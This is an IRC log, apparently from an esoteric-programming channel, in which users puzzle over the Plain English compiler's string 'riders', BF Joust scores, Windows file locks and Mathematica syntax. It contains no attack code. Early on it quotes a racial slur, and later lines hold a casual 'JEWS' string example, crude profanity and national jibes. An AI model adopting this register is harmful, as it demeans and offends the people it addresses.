21:40:21 haha the speaking thing works 21:40:52 1 factorial equals wun 21:41:03 Oh god, my computer just said nigger 21:42:09 Furthermore, you can concatenate strings with strings — and other kinds of 21:42:09 data — using the infix THEN operator. See the topic on "Expressions" for a 21:42:10 description of the clever way my creators implemented this. 21:42:12 Slereah_: I use that in my thing 21:42:14 just do 21:42:16 the string then "butt" 21:42:20 also 21:42:21 substrings 21:42:22 use em 21:42:26 also 21:42:28 Slereah_: use riders 21:42:47 What is a rider 21:43:13 A tick is approximately 1 millisecond. "The system's tick count" is the number 21:43:13 of milliseconds since the last restart. It wraps around every 24.8 days or so. 21:43:14 What happens then is unknown, since no kluge has ever stayed up that long. 21:43:16 Slereah_: It's in the manual 21:43:18 go to the TOC 21:43:20 and choose RIDERS 21:43:29 LOLLLLLLL: 21:43:30 I use timers to make sure I can recompile myself in less than three seconds. 21:43:31 Look in the bottom of a "listing" to see them all. You can use them to make 21:43:32 your programs lightning-fast, as well. 21:44:07 brb 21:46:46 "I don't know how to " Write the first byte from the program string." " 21:46:48 I hate you CAL 21:51:12 How does slap work damn it 21:51:16 -!- AnMaster has joined. 21:51:21 Can't you say anything helpful, perverted compiler? 21:51:51 -!- KingOfKarlsruhe has quit (Remote closed the connection). 21:56:23 -!- Gracenotes has joined. 22:01:10 * kerlo frowns at HTML documents containing non-ASCII characters. 22:05:56 lifthrasiir, there? 22:06:05 Hm, googling Osmosian and rider on google 22:06:15 "gay rider strong three men and a baby boy ghost sexy tout gratuit ..... osmosian.com pagearup.org otheedge.com oslokristiforsamling.no osg.hu paiefie.com ..." 22:06:53 lah no 22:06:56 ah* 22:07:41 ... 22:07:43 "Move" 22:07:44 Hm, googling Osmosian and rider on google <-- is there any other place you can google, than on Google 22:07:46 It's move, right? 22:08:01 Let's see what "move" does to a string 22:09:49 Noooo it no works 22:09:51 * oerjan is not sure oslo kristi forsamling would enjoy being in that list 22:09:57 -!- inurinternet has quit (No route to host). 22:12:37 You can google things on yahoo, or MSN search. 22:14:45 fizzie, wouldn't that be yahooing and messing... Err I mean msning 22:15:17 Any web-searching is googling. (Though admittedly this is an extreme position.) 22:15:18 * AnMaster suddly remembers altavista. From back before google. 22:15:38 altalavista baby 22:15:39 Are riders a regular computer concept, or did they made it up? 22:15:50 Slereah_, what is it supposed to do 22:15:52 'cause I have no idea how that shit works and the tutorial doesn't explain anything 22:16:11 There was a software-crack-hack-whatever search engine called Astalavista, too. 22:16:21 I'm not too sure, that's the problem 22:16:24 When you: 22:16:24 SLAP a rider ON a string. 22:16:24 I set the "original" and the "source" to span the entire string. Then I position 22:16:24 the "token" on the source — which leaves it blank but ready to go. When you: 22:16:24 BUMP a rider. 22:16:25 I add one to the source's first, and one to the token's last. This shortens 22:16:27 the source while lengthening the token, letting you process the string a byte 22:16:29 at a time. When you want to clear out the old token and start a new one, just: 22:16:31 POSITION the rider's token ON the source. 22:17:21 fizzie: There still is. 22:17:27 astalavista.box.sk 22:17:38 Deewiant: I think that was the URL earlier, too. 22:17:46 It sounds familiar, at least. 22:17:48 Yes, it has been there for as long as I have known it. 22:18:03 Which is probably around 10 years or more. 22:18:08 There seems to also be an astalavista.com which is at least trying to look a legitimate information-search thing. 22:18:30 Information-security thing, I mean. 22:18:58 -!- FireFly has quit (Remote closed the connection). 22:19:11 http://en.wikipedia.org/wiki/Astalavista.box.sk 22:21:09 Strange... they say it started 1994, and is a pun on Altavista; on the other hand, the Altavista entry says it was launched publically as late as December 1995 at altavista.digital.com. 22:21:23 They've been somehow reverse-time-punning. 22:23:12 Ooh, the nostalgy: http://en.wikipedia.org/wiki/File:Altavista-logo.png 22:23:21 Hm do I misremember, or does windows have strange semantics for opening the same file from multiple programs? 22:23:43 AnMaster: yes, it often gets confused about what sort of lock you have 22:23:57 especially as there's a known bug in that code through Vista, fixed in 7, that sometimes you get the wrong sort of lock 22:24:23 ais523, can you open and read a logfile that another program is writing to 22:24:48 either like tail, or just open in notepad or similiar 22:25:12 AnMaster: I don't think you can with most programs 22:25:15 you get a file-busy error 22:25:21 ais523, that is very strange 22:25:25 why would you get that 22:25:27 it makes no sense 22:25:44 Did early versions of Windows even allow for different kinds of file locks? 22:26:06 AnMaster: By default, files are opened such that they can't be shared to other programs. 22:26:20 ... that makes no sense 22:27:03 hi Slereah_ 22:27:10 It makes perfect sense. It might not be sensible, but that's another issue. 22:27:20 what Deewiant said 22:27:24 how does it not make sense 22:27:32 ehird, how DOES it make sense 22:27:39 ... 22:27:43 it makes stuff like tail logfile.log hard 22:27:43 banana 22:27:46 that makes no sense 22:27:49 how does it not make sense? 22:27:54 HOW DOES BANANA MAKE SENSE 22:27:59 Burden of proof. 22:28:07 ehird, just one example above 22:28:15 plus I can't think of any reasons it makes sense in 22:28:18 AnMaster: it MAY NOT BE SENSIBLE 22:28:20 but it makes sense 22:28:21 see Deewiant 22:28:25 ehird, what is the difference 22:28:32 ................. 22:28:38 AnMaster: see your nearest dictionary 22:28:45 Makes sense = is logical as in not contradictory, or something like that 22:28:53 Is sensible = what you're talking about 22:29:03 ah 22:29:10 well then I say it isn't sensible 22:29:13 Slereah_: how's the plain englishity 22:29:21 AnMaster: It isn't sensible if you're a unix user. 22:29:25 Windows is not a unix. 22:29:36 I find it a pain in the butt even as a Windows user. 22:29:41 ehird : Sort of found out how to use riders. 22:29:57 But I wonder, can you like bump them backward? 22:29:58 Slereah_: it's just a string parser thing 22:30:00 and dunno 22:30:02 read the noodle 22:30:07 Ctrl-F rider Ctrl-N Ctrl-N etc 22:30:11 "The US patent office no longer grants patents on perpetual motion machines, but has recently granted at least two patents on a mathematically impossible process: compression of truly random data. This document is an analysis of patent 5,533,051; see below for an analysis of another patent on the same subject." 22:30:14 http://gailly.net/05533051.html 22:30:23 ahaha 22:30:24 "the direct bit encode method of the present invention is effective for reducing an input string by one bit regardless of the bit pattern of the input string." 22:30:41 how can anyone seriously propose that? 22:30:49 Deewiant, oh and the (at least under xp) issue with files being thought to be locked when they weren't 22:30:52 that was a pain too 22:30:54 it's the most obvious reductio ad absurdum to show that every input can then be reduced to one bit 22:31:01 and expanded losslessly forever 22:31:04 AnMaster: Yeah, that helps 22:31:04 -!- impomatic has joined. 22:31:11 Of course, they actually are locked, they just shouldn't be 22:31:21 Deewiant, there was some tool to force free it 22:31:22 Or there's no obvious reason for why they should be 22:31:24 * AnMaster tries to remember 22:31:32 Process Explorer can close individual handles 22:31:39 I use that 22:31:44 Deewiant, yes, but some automated "in your context menu" one 22:31:47 You can bump it by a specific number 22:31:51 -1 works 22:31:55 Hi, I thought I'd give the BF Joust bot a try. :-) 22:32:05 impomatic: You're still allocated?! 22:32:11 We thought the garbage collector got you 22:32:13 It's a good way of causing blue screens by killing random handles of system processes 22:32:27 (Or even some system handles in any normal process) 22:32:33 I got reallocated :-) 22:32:50 Deewiant, yeah, but usually it worked, since usually it was explorer.exe that held it 22:33:10 impomatic: But I did (impomatic :: forall a. a). You can't get any value out of it. I asked oerjan for the amulet of unsafeCoerce but he wasn't there. 22:33:11 ... Wait a second. 22:33:16 Maybe there's more than one amulet. 22:33:20 Maybe someone else saved you! 22:33:32 *TUNE IN NEXT TIME FOR MORE OF HASKELL! SAME BAT TIME, SAME ESO CHANNEL* 22:33:37 AnMaster: Yeah, closing "unimportant" handles is fine 22:33:40 impomatic: The bot is: 22:33:41 (Or even some system handles in any normal process) <--- that can cause a blue screen? 22:33:46 !bfjoust stuff +[w58 22:33:48 Score for stuff: -18 (maximum 18) 22:33:55 impomatic: Do you know the new language and its abbreviations? 22:34:00 Deewiant, sounds terribly unsafe. Any normal user could do it 22:34:08 There's a scoreboard, but I forget the URL. 22:34:15 AnMaster: I don't know about that 22:34:16 Anyone had much luck at BF Joust? Because it looks to me as though your not providing me with much of a challenge :-P 22:34:24 http://codu.org/eso/bfjoust/in_egobot/report.txt 22:34:26 Deewiant, well they could to their own processes right? 22:34:52 * AnMaster imagines geting "ENOPERM" when doing fclose(stdout); 22:34:55 AnMaster: Those important things might not be allowed to be closed even in your own process, unless you're admin 22:34:56 Shortsword, 100% wins ;-) 22:35:05 Deewiant, ok... 22:35:22 AnMaster: It could also be that they're not really things that you can ever touch without admin-only tools like procexp 22:35:23 impomatic: Oh, you've played it before? 22:35:51 http://codu.org/eso/bfjoust/in_egobot/report.txt <-- empty file? 22:36:00 Could do with a few more BFJ programs on there. There's only 15 for me to kill ;-) 22:36:01 ah works now 22:36:10 maybe it was being re-generated right then 22:36:11 AnMaster: it blanks while calculated 22:36:13 for a bit 22:36:17 right 22:36:44 what is the code for that shortsword 22:36:48 The problem with EgoBot's bf joust is that you can't hide the implementation. 22:37:05 ehird, sounds like a good thing 22:37:10 That makes it quite easy to beat things simply by targeting their algorithm, rather than intelligently predicting its behavior via experiments. 22:37:14 AnMaster: it takes a lot of the skill out of it. 22:37:25 ehird, fair enough 22:37:35 ehird, where is the source for it though 22:37:43 Hmmm... new submission. Now I only have 94% wins and 6% ties. I'll have to work on improving that :-( 22:37:44 In the logs. 22:37:52 Oh, you can do it via /msg, impomatic? 22:37:57 yes 22:38:01 EgoBot doesn't reply, but it still runs 22:38:18 ugh 22:38:19 impomatic: unbeatable 22:38:21 The pointer of the rider continues after the string ends D: 22:38:23 syntax errors tie with everything 22:38:26 it's a bug in the program 22:38:31 hah 22:38:34 !bfjoust iwin [ 22:38:36 Score for iwin: -19 (maximum 19) 22:38:37 so don't worry too much about beating a program that's 100% ties 22:38:48 hmm 22:38:54 -19 for ties? 22:38:54 oh, it reports it oddly 22:38:54 right 22:39:11 damn it blanked again 22:39:16 22:38 Slereah_: The pointer of the rider continues after the string ends D: 22:39:17 lawl 22:39:19 AnMaster: just wait a bit 22:39:34 why can't it wait with removing until it calculated the new data 22:39:48 sounds trivial, just move when it writes 22:39:58 because it is not coded that way 22:40:07 irritating 22:40:14 ehird : It's like the matrix 22:40:21 Random characters everywhere! 22:40:36 Also I have no idea how to set the condition for it to stop 22:40:52 If the rider's token is equal to the string maybe? 22:41:18 Slereah_: Ask the manual 22:41:31 Slereah_, so what is the rider for 22:41:38 Slereah_, some form of crazy iterator? 22:41:53 ehird : That manual is shit 22:41:55 that is even more broken than the C++ ones (and in a different way) 22:41:58 Yes it is. 22:42:01 AnMaster: String parser. 22:42:08 like Java's thing that does the same 22:42:14 ehird, oh? You give it a grammar and it parses it? 22:42:16 Basically a way to iterate through a string and shit 22:42:20 AnMaster: manual 22:42:20 ah ok 22:42:37 Except not in a convenient way 22:42:38 Slereah_: the rider section has an example 22:42:54 Instead of JEWS -> J, E, W, S, it goes J, JE, JEW, JEWS 22:43:01 Slereah_: Also, read the compiler 22:43:03 It uses riders 22:43:26 to bump a rider by a number: 22:43:26 add the number to the rider's token's last. 22:43:26 add the number to the rider's source's first. 22:43:34 no 22:43:35 This may be useful 22:43:35 not the noodle 22:43:37 the compiler 22:43:40 it uses riders :P 22:43:43 I'll noodle you! 22:44:31 If the rider's token is the program string, break. 22:44:34 Yay, it works* 22:45:27 [[ [...] According to Earl Bradley, WEB Technologies' vice president of 22:45:27 sales and marketing, the compression algorithm used by DataFiles/16 22:45:28 is not subject to the laws of information theory. [...]]] 22:45:42 And I am not subject to the laws of gravity. 22:45:45 It's a supernatural compiler 22:45:55 Wait, is this about Osmosian? 22:46:49 No 22:47:14 Oh. 22:48:16 Slereah_: what program are you making? 22:48:24 bitshitfuckbastard? 22:48:26 Trying to do a basic Boolfuck 22:48:27 i mean boolfuck 22:48:34 in what, Plain English? 22:48:37 Yeah 22:49:03 It is quite frustrating 22:49:04 The [] are going tu haunt me 22:49:09 indeed 22:49:23 I think I'll do a semi-infinite tape, because fuck you I ain't doing an infinite one 22:49:53 Slereah_: That doesn't prove it TC. 22:49:58 Plus, strings automatically grow. 22:50:01 So why not? 22:50:12 semi-infinite != non-TC 22:50:15 if it's infinite one way 22:50:23 ... 22:50:25 ehird 22:50:34 oh 22:50:35 i see 22:50:36 i see 22:50:37 kay 22:50:40 Can you type the [] characters on CAL? 22:50:47 Yes. 22:50:52 But I use a US qwerty keyboard. 22:50:56 I can't seem to be able to type any Alt character on it 22:50:56 Maybe you should too, Frenchie. 22:51:03 Slereah_: that's because it interprets alt as control 22:51:08 so you can use EITHER KEY!11 22:51:18 D: 22:51:19 So switch keyboard layout, Mr White Flag Surrender French Military Victories. 22:51:24 Fuck it, it will be parenthesises 22:53:42 IDEs should be separate from the language 22:53:44 to avoid mess like this 22:53:50 at least, the language shouldn't require an IDE 22:54:16 ais523: I'd listen to your point but please don't point out basic shit about plain english 22:54:26 It transcends such mundane horribleness. 22:54:41 heh 22:54:42 We must turn our attention to the Cthulhu-like atrocities. 22:55:00 Oh fuck, how do I change a character of a string at the rider's position 22:55:08 Slereah_: change its target 22:55:13 wat 22:55:19 Put the at byte into the rider's token's target 22:55:22 i think 22:55:26 (would put @ into it) 23:00:08 Slereah_: How go. 23:00:37 Not well. 23:00:57 Slereah_: Look up MOVING OUR RIDERS in the TOC. 23:01:00 It shows how to handle everything. 23:01:18 " first's target is the right-alligator byte," 23:01:19 WHAT 23:01:40 Slereah_: They call > the right alligator byte 23:01:45 and < the left alligator byte 23:01:54 Is this INTERCAL? 23:02:04 ais523: you should support Plain English names in intercal! 23:02:17 INTERCAL names aren't used by the language, though 23:02:21 just in discussing it 23:02:31 You know what you guys should be doing instead of Plain English? 23:02:33 ORK. 23:02:37 Also I'm not sure this is helpfulm 23:02:45 It, too, has English syntax. 23:02:48 It doesn't seem to involve changing the original string 23:02:59 Slereah_: Riders are for parsing 23:03:00 However, it's deliciously esoteric. 23:03:01 Not changing 23:03:04 Slereah_: Parse it into a parse tree 23:03:06 Instead of claiming not to be. 23:03:06 :) 23:03:07 Then mutaterate that 23:03:13 Slereah_: It'll be slightly less horrific 23:03:16 * pikhq thinks that Objects R Kool. 23:03:26 ehird, stop using fancy words 23:03:33 Slereah_: Parse it into a data structure. 23:03:35 Then change that. 23:03:38 I'm not a programmer 23:03:50 lawl. 23:03:51 Slereah_: What are you doing here? 23:03:52 Also ORK is not the best plain english compiler, pikhq 23:03:59 pikhq : Iunno :( 23:04:00 pikhq: implementing boolfuck in Plain English 23:04:04 Slereah_: ORK is a much better language. 23:04:15 But they say that Plain English is the best! 23:04:21 They must be righr 23:04:22 pikhq: But the interesting thing about this is that it actually _works_, there's an actual 10,000 fucking lines of code in it to provide a compiler, a GUI, and a standard library doing all sorts of useless shit, and it's actually a full language, it's just shit and misguided, but it actually works and is real and is big and that's what's so horrific and interesting. 23:04:39 ehird: ORK works. 23:04:46 What it really lacks is a detailled manual 23:04:52 pikhq: Read the rest of my sentence, plz. 23:04:53 The manual is barely helpful 23:05:03 Yeah, yeah, yeah... 23:05:09 It assumes that its commands are self explanatory because they're in English 23:05:18 I just have a similar opinion of this as I have of LOLCODE. 23:05:34 (it's still better than LOLCODE, but not by much) 23:05:35 pikhq: LOLCODE is a small language, though. 23:05:41 Except LOLCODE isn't the scourge of the earth. 23:05:43 LOLCODE strikes me as probably better 23:05:44 It's just uninteresting - it has basically no supporting code. 23:05:47 It has no infrastructure. 23:05:50 LOLCODE is just a boring language with a stupid syntax 23:05:53 It doesn't have a full set, so to speak 23:05:57 Plain English is interesting because it's crazy. 23:05:59 This language is worse than LOLCODE... 23:06:01 But it's complete. 23:06:01 whereas Plain English is a BANCStar-like monstrosity 23:06:06 It's a complete black hole of what the fuck? 23:06:16 and LOLCODE is TC, IIRC 23:06:16 ais523: My opinion of both of them are mostly based on its proponents. 23:06:18 :p 23:06:18 But when you step in to the black hole, there's so much goddamn stuff and you can't believe to think it's real. 23:06:23 But it is, and that's horrific. 23:06:43 ais523: And it took them forever to write an implementation. 23:06:52 maybe they had no competent programmers 23:06:59 PEBBLE got a working implementation in 24 hours. :p 23:07:00 you could probably implement it relatively easily in yacc, or Thutu 23:07:09 pikhq: heh, you implemented LOLCODE in PEBBLE 23:07:10 ? 23:07:15 ...? 23:07:16 Nah. 23:07:22 oh 23:07:24 ais523: you misunderstand 23:07:26 I'm only so insane. 23:07:31 that would have been pretty funny, though 23:07:38 It would have. 23:07:42 Hm 23:07:47 By the way, for a language that hates C so much,. 23:07:54 it maps very easily on to a restricted subset of C> 23:07:57 I find that amusing 23:07:58 Thinking about it, I think there would be an easier way of proving TCness. 23:08:00 LMAO 23:08:10 Here, I'll translate my factorial function to C. 23:08:22 I think it shouldn't be too hard to translate recursive functions in Plain English 23:08:30 Slereah_: It has loops that you can break out of and conditionals. 23:08:45 It just might be TC. 23:08:49 Yes indeed. 23:09:37 What is infuriating is that it has no arrays 23:09:37 Why? 23:09:39 Isn't the concept of array not English enough? 23:09:41 For instance, pikhq: 23:09:42 To (0)put (1)a number's (2)factorial (3)into (4)a result (5)number: 23:09:43 void (0)put_(2)factorial(int a_number, (5)int (3)* (4)a_result) 23:09:58 Took PSOX a long time to get a working implementation 23:10:21 Oh fuck it 23:10:27 Let's drop that and do other things 23:11:11 Sgeo: And PSOX is significantly harder to implement. :p 23:11:39 Slereah_: :( 23:12:02 I just can't deal with such a bad implementation of arrays :( 23:12:44 But still, I think a translation of recursive functions should be pretty trivial for that 23:12:49 At least you don't need ARRAYS 23:12:51 AAAAAAAARGH 23:14:41 One could patch the compiler. :p 23:14:51 Who is this "one"? 23:15:03 The compiler isn't the problem, I think it's the manual 23:15:47 The big problem, I think, is that it wants to show a lot that it's "easy" for complex tasks like GUI shit, so it dwells way too much on that 23:15:59 But it skims over important things like arrays and such 23:16:05 -!- ais523 has quit (Remote closed the connection). 23:16:16 Half of it is pretty much about doing a paint program 23:17:14 pikhq: Slereah_: A step-by-step demonstration that the anti-kludge Plain English is basically a rearrangement of a small subset of C: http://pastie.org/486940.txt?key=y7p297kilxy4kj0kelcig 23:17:29 Each line translates almost directly with basically just a little moving around 23:17:55 err 23:17:58 [note: the into variable is more like a C reference, but we'll just 23:17:59 should read 23:18:01 [note: the into variable is more like a C++ reference, but we'll just 23:18:16 ehird, that doesn't prove that it always works. It just shows that it can be done for one particular example 23:18:32 Sgeo: That example is what ALL plain english code looks like. 23:18:38 It's all the essential structures. 23:18:44 That doesn't make it a proof. 23:18:46 And I haven't yet seen an example I can't trivially do it mentally to. 23:18:51 Deewiant: Did I say proof? 23:18:55 ehird: Sgeo did. 23:19:01 I know. 23:19:03 I didn't, though. 23:19:06 It's just a demonstration. 23:19:09 Correct. 23:19:16 You can easily show it for all the other code if you hate yourself. 23:19:23 You could probably automate it, if you hate yourself. 23:19:39 Automate translating plain english into code? 23:19:52 Sgeo: not plain english 23:19:55 Plain English. 23:20:00 You're worse at context than AnMaster. 23:21:02 ehird: Automating it would mean a saner implementation. 23:21:07 Portable, too. 23:21:12 pikhq: Ehh, no. 23:21:16 The noodle depends on THE KLUDGE 23:21:19 -!- impomatic has left (?). 23:21:26 Due to its referencing DLLs and inline machine code. 23:21:30 pikhq: can you even do inline machine code in gcc? 23:21:44 -!- BeholdMyGlory has joined. 23:21:48 Yes, but it's an epic hack. 23:22:10 how? 23:22:29 Let's see if I can find the bit in Linux that does that. 23:25:20 You stick it in an unsigned char, you have inline assembly jump to it, and you have that inline machine code jump back. 23:25:35 (best to do that by sticking the address to jump to in a register) 23:25:35 hahah 23:25:45 Like I said, epic hack. 23:25:58 -!- inurinternet has joined. 23:26:04 And Linux does it for going down to real mode for a bit. 23:26:14 (startup and shutdown code) 23:26:20 -!- darthnuri has joined. 23:26:37 pikhq: How come it doesn't just use asm? 23:26:44 -!- BeholdMyGlory has quit (Remote closed the connection). 23:27:06 gas doesn't do 16-bit code. 23:27:12 http://www.plainlanguage.gov/examples/humor/headlines.cfm 23:27:14 heh 23:28:54 http://www.plainlanguage.gov/examples/humor/index.cfm 23:29:10 Although the rest of the stuff isn't really that good 23:29:23 I've always thought Mark Twain's satire about English spelling was actually good. 23:29:27 "Fainali, xen, aafte sam 20 iers ov orxogrefkl riform, wi wud hev alojikl, kohirnt speling in ius xrewawt xe Ingliy-spiking werld." is a lot nicer than English. 23:30:12 Except that it still doesn't do a 1-to-1 mapping of phonemes to graphemes. 23:30:14 It's just closer. 23:30:15 ;) 23:30:26 Well, I've seen it before, so I guess I got tired of it :/ 23:30:33 okay. So, my plan until my old boss calls me back: watch Battlestar Galactica from the start while playing Pokemon Emerald, from the start 23:30:48 I think I'll finish BSG before I finish Pokemon, though. 23:31:05 pikhq: Oxi, xen, xou about xis? 23:31:40 ehird: ... That's actually worse than English. 23:32:36 pikhq: uel, i xemplefid --bah-- pronunciation on the way, too. 23:33:04 I'm aiming for one letter, one pronunciation, and less letters used in total, and close enough to English to be intelligible to an English speaker when pronounced. 23:33:35 "uel, i xemplefid" only has one pronunciation for each letter it has, and sounds more or less identical to the original English "well, i simplified" 23:33:46 x is like s/th 23:34:15 So "xou" sounds like "sou" or "thou" (but with the th being quite weak), which is intelligible as "how" when spoken. 23:34:27 I should be "Oxa" for okay, though. 23:34:29 -!- BeholdMyGlory has joined. 23:34:59 -!- FireFly has joined. 23:35:45 pikhq: No? 23:35:56 ehird: No. 23:36:02 pikhq: Why not? 23:36:15 "Oxa, xen, xou about xis" seems simpler to me. 23:36:24 If not that, then at least "Uel, I xemplefid". 23:37:18 pikhq: ? 23:37:58 There's other orthographies that have a direct mapping between phonemes and graphemes. 23:38:12 pikhq: in English? 23:38:19 Yes. 23:38:26 pikhq: like? 23:38:42 Anyway, mine simplified both spelling and pronunciaiton. 23:38:44 *pronunciation 23:38:46 So it isn't a 1:1 map. 23:40:09 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 23:42:09 pikhq: so what's the flaws with mine? 23:42:29 It creates a Great Consonant Shift. 23:43:10 pikhq: Wut. 23:43:28 Actually, you could drop f too. It's quite close to x. 23:43:37 xemplexid is still comprehensible to an english speaker. 23:44:00 So's Middle English. 23:44:08 pikhq: So? 23:44:11 Mine's simpler ;-) 23:44:18 ... You're creating a different language. 23:44:47 pikhq: A language that, when pronounced, is easily understood by English users, has the same semantics at its core, and is not all that different apart from a simplified pronunciation and spelling. 23:44:57 -!- inurinternet has quit (Success). 23:45:30 -!- darthnuri has quit (Connection timed out). 23:47:46 Also, 'xou' isn't intelligible as "how". 23:47:52 It's intelligible as "thou". 23:48:41 pikhq: x != th. 23:48:45 * Slereah_ tries to write Limp on Mathematica 23:48:54 x = a weak blend of s/z, with a bit of a h hint 23:48:59 It has some useful notations, I'll say. 23:49:07 ehird: No, but it's significantly closer to th than anything else. 23:49:08 Slereah_: do it in plain english 23:49:17 pikhq: I invented my own meaning for x. 23:49:18 :P 23:49:29 ehird : Shut up or I'll kill you 23:49:43 Basically what you're doing is creating a bunch of homonyms for no real gain. 23:49:44 µ1[x_, y_] := If[x[y] == 0, y, µ[x, y + 1]] 23:49:45 µ[x_] := µ[x, 0] 23:49:56 Try to do this, Plain English! 23:49:59 pikhq: It doth reduce the letters and pronunces.. 23:50:01 *. 23:50:04 Although I wonder if I could do that in one line 23:50:14 Slereah_: Yes. 23:50:23 µ[x_, y_] := If[x[y] == 0, y, µ[x, y + 1]]; µ[x_] := µ[x, 0] 23:50:24 Oh, and English's *phonemes* are not a problem. 23:50:37 pikhq: i knoooooooooow but 23:50:39 No cheating! 23:50:42 That'd be like fixing C by merging {} with (). 23:50:54 Also I like 'em functionals 23:50:56 Mathematica is nicely functional and all 23:50:58 You're not helping the language, you're just doing linguistic masturbation. 23:51:16 pikhq: Nuthin' wrong with masturbation. 23:51:25 Apart from the masturbation of DEVILLISH VIDEO GAMES 23:51:28 And like most masturbation, it's not something you want to see. 23:51:52 And you're just fucking yourself. ;) 23:51:57 (Jack Thompson, in a well-known bout of intellectual dishonesty, called video games masturbation and then noted that it doesn't have to actually mean something sexual - but in doing so, gave it the "negative" connotations of a sexual act. Fun fun.) 23:53:26 sexual acts have negative connotations? 23:53:39 Sgeo: In the Us. 23:53:46 Yeah. 23:53:50 Where sex is ebil. 23:53:52 Thus "negative". 23:56:21 not the noodle the compiler <-- yeah what was the noodle and compiler about... 23:56:30 AnMaster: Noodle = stdlib. 23:56:32 Compiler = CAL. 23:56:48 "Anyone in China reading this:" —reddit 23:56:50 Logical flaw detected. 23:57:27 [[ [...] According to Earl Bradley, WEB Technologies' vice president of {...} <-- what the hell was that about, and where was it form 23:57:29 from* 23:58:05 AnMaster: See the link a bit above. 2009-05-23: 00:01:56 Oh fuck 00:02:05 How to test for atomomicity in Mathematica? 00:02:16 I searched for "type" and "atom", but no dice 00:02:52 Slereah_: magic 00:03:37 Oh, it's AtomQ apparently. 00:03:44 Though it encompasses more than just lists 00:03:57 Close enough 00:04:54 hm 00:05:22 ehird, a bit above the original? 00:05:30 AnMaster: wut 00:05:33 yes 00:05:38 can't find it 00:05:45 * AnMaster searches 00:06:16 http://codu.org/eso/bfjoust/in_egobot/report.txt 00:06:16 http://codu.org/eso/bfjoust/in_egobot/report.txt <-- empty file? 00:06:16 pikhq: Slereah_: A step-by-step demonstration that the anti-kludge Plain English is basically a rearrangement of a small subset of C: http://pastie.org/486940.txt?key=y7p297kilxy4kj0kelcig 00:06:16 http://www.plainlanguage.gov/examples/humor/headlines.cfm 00:06:16 http://www.plainlanguage.gov/examples/humor/index.cfm 00:06:21 that is all for http in lastlog 00:06:28 ehird, it is out of my scrollback if it was listed there 00:06:49 AnMaster: Try clog. 00:07:05 thank you Mr. Helpful. 00:07:14 Not my fault your backlog is tiny. 00:12:40 -!- Dewi has quit (Read error: 60 (Operation timed out)). 00:12:42 -!- Dewio has joined. 00:13:37 How do I define a function with an undefined number of variable? 00:15:19 Oh, __ apparently 00:15:46 Or... not really 00:15:48 Dayum 00:17:35 "Functions with Variable Numbers of Arguments" 00:17:36 There we go 00:24:08 So it is __ indeed but how the fuck do I choose between the variables. 00:25:21 __ is a list, then 00:25:22 I think 00:26:02 It does not seem to be 00:26:17 In[142]:= p[___] := ___ 00:26:17 In[143]:= p[0, 1, 1] 00:26:17 Out[143]= ___ 00:26:31 Help me Wolfram Alpha! 00:26:34 sec 00:26:36 lemme try 00:27:06 Slereah_: um are you using two or three underscores there? 00:27:17 For any number of variables 00:27:25 _ is one, __ is 1+, ___ is 0+ 00:27:34 Slereah_: 00:27:34 In[7]:= fucking[args__] := args 00:27:36 In[8]:= fucking[1, 2, 3] 00:27:38 Out[8]= Sequence[1, 2, 3] 00:27:39 you have to name it 00:28:00 Slereah_: so fucking[args___] := args in your case 00:28:12 'kay 00:28:59 I'll just do List[arg], it will prolly be easier to handle 00:29:10 er 00:29:15 Slereah_: this way gives you a sequence 00:29:19 ~= list 00:29:57 -!- Corun_ has joined. 00:30:35 But I can't select a particular member of it 00:30:36 Or can I? 00:30:45 p[y_, x___] := List[x][[y]] works nicely 00:31:13 -!- Corun has quit (Nick collision from services.). 00:31:15 -!- Corun_ has changed nick to Corun. 00:31:23 Slereah_: Dude. 00:31:25 it works just like a list. 00:31:35 so just do butt[args___] := args is like a list yay 00:31:45 -!- BeholdMyGlory has quit (Remote closed the connection). 00:32:11 In[156]:= p[y_, x__] := x[[y]] 00:32:11 In[157]:= p[1, 1, 2, 3, 4, 5] 00:32:11 During evaluation of In[157]:= Part::partd: Part specification \ 00:32:11 1[[2,3,4,5,1]] is longer than depth of object. >> 00:32:11 Out[157]= 1[[2, 3, 4, 5, 1]] 00:32:19 So list it is 00:32:30 Slereah_: Just look up sequence in the help k 00:32:35 I did 00:32:40 It's not the same as a list 00:32:41 k :P 00:32:49 But you can just put it in List 00:32:53 And bam, you've got a list 00:33:21 Right. 00:33:34 -!- FireFly has quit ("Later"). 00:36:45 Slereah_: You know the best thing about mathematica? 00:36:47 pi 00:37:04 That is not very best 00:37:38 Slereah_: What about 00:37:44 pi2 00:37:54 I don't get it, what do those do? 00:38:04 Sgeo: ESCpiESC turns into the pi symbol 00:38:06 esc gives you special chars 00:38:08 enters a subscript 00:38:08 Ah 00:38:12 cool 00:38:18 So you get pi^2, but as the actual pi symbol, and a superscript 2 00:38:22 And it actually works 00:38:33 You said ctrl-6 was a subscript 00:38:39 Er. 00:38:41 Superscript. 00:38:56 It also work nestedly. 00:39:07 2222 → 00:39:07 In[6]:= 2^2^2^2 00:39:08 Out[6]= 65536 00:40:22 http://pastie.org/486988.txt 00:40:26 The wonders of adding two more characters 00:40:48 Slereah_: Say, I'm math-brainfarting at the moment: Is there like a modulo but for exponentiation? 00:40:52 modulo = dus dis divide 00:40:58 ??? = dus dis exponentiate-y 00:40:59 err 00:41:00 that is 00:41:14 "foo[N,M] is this M**X, and what is X" 00:41:38 discrete logarithm? 00:42:28 "In particular, an ordinary logarithm loga(b) is a solution of the equation ax = b " 00:42:30 This I did not know! 00:43:00 It works, hooray. 00:43:02 *hoorah 00:43:02 you might want to get the superscripts correctly displayed 00:43:18 oerjan: i just copied from wikipedia 00:43:24 where it looked right. 00:43:36 ehird: wait, you didn't know about logarithms? 00:43:46 I knew about logarithms 00:44:01 I just didn't realise that's what they did, beacuse I've always used them in such familiar bases like e, I guess. 00:44:05 Colour me retarded :-) 00:44:09 aha 00:44:16 *because 00:47:23 What is quite boner about Mathematica is that sometimes, defined functions persist even after deleting them 00:47:29 although if you are not talking modulo arithmetic, solving N = M^X for X is a bit simpler (but rarely has a solution unless it's designed that way of course) 00:47:31 I don't know what to do to delete them nicely 00:47:43 Slereah_: how are you "deleting" them? 00:48:00 oerjan: I just wanted the analogue of modulo to exponentiation 00:48:11 ehird : =. 00:48:13 (what modulo is to multiplication) 00:48:18 Slereah_: wait what? show an example 00:49:08 ehird: hm that might be N/(M**X) where X is maximal such that it divides... 00:49:13 It's "unset" in mathematica 00:49:32 modulo is the same for N-M*X 00:49:37 Slereah_: ah 00:49:39 how doesn't it work? 00:50:17 Scratch that 00:50:38 ehird: except because smaller things subtract, but don't necessarily divide, 